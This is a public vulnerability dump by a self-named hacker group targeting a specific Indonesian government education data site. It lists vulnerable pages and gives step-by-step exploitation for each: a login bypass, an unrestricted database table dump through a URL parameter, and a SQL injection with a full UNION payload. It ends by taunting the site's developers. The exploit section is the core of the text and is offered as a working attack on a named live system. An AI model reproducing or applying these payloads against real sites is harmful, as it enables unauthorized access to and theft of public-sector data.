https://referensi.data.kemdikbud.go.id/ WeakSec

Exposed by Gh05t666nero
Contact me: [email protected]
Telegram: t.me/indoghostsec

Thanks to all members of indoghostsec: Gh05t666include,SuhandiGhost,Yudi666gh05t,Gh05tXploit,Gh05t666nero,Hz3Gh05t,Gh05tDeenos_,MalikBot, Ahmad_Gans, NvZ666h05t,Moka666gh05t,
Gh05t666fidachan,Mr.Medan,Prass7,Mr.quixter,Mr.4non,
SEXYOU,Andrax,Mr.horden-999-,R-27, CtrlSec0


Vulnerable Page:
[*] https://referensi.data.kemdikbud.go.id/login.php
[*] https://referensi.data.kemdikbud.go.id/ref_data.php?tb=
[*] https://referensi.data.kemdikbud.go.id/index11.php?kode=


Short Desc:
[*] https://referensi.data.kemdikbud.go.id/login.php
If we see the page looks normal, but if we try to log in automatically we are welcome to enter without any confirmation from the database storage.
[*] https://referensi.data.kemdikbud.go.id/ref_data.php?tb=
On this page we can find something interesting, that is, we can dump the table by simply entering the name of the table that we want to display.
[*] https://referensi.data.kemdikbud.go.id/index11.php?kode=
While on this page, we will find injectable SQL vulnerabilities.


Exploitation:
[*] https://referensi.data.kemdikbud.go.id/login.php
#Do the exploitation by entering a string (') or backslash (\) then an error will occur and we will be redirected to the page "https://reference.data.kemdikbud.go.id/login-logout.php?st=login" However, if we enter the username and password at random then boom we are successfully logged in and redirected to the page "https://reference.data.kemdikbud.go.id/profilptk.php"

[*] https://referensi.data.kemdikbud.go.id/ref_data.php?tb=
#Do the exploitation by fuzzing the vulnerable parameter "tb=" for example I want to display the Agama table in the database so I only need to put the value of Agama in the parameter, then the result "https://referensi.data.kemdikbud.go.id/ref_data.php?tb=Agama" Or if I want to display the akses_internet table then I just need to change the value Agama.

[*] https://referensi.data.kemdikbud.go.id/index11.php?kode=
#To be honest, the vulnerable page is not only "index11.php" but "index * .php" in other words the index page whose name contains a number also suffers from the SQL Injection vulnerability:
---
Parameter: kode (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 65 columns
    Payload: kode=' UNION ALL SELECT NULL,CONCAT(CONCAT('qqqpq','ZWkwBETtZYvpSOKGUUGdqYuohQKIqAKHIpoZxJcQ'),'qqkpq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- nSwY
---


All right, that's all from me, and I hope the developer of KEMDIKBUD is responsible for the above vulnerabilities if you don't want to, then please take responsibility for your negligence at the end, O BLIND SALARY Eaters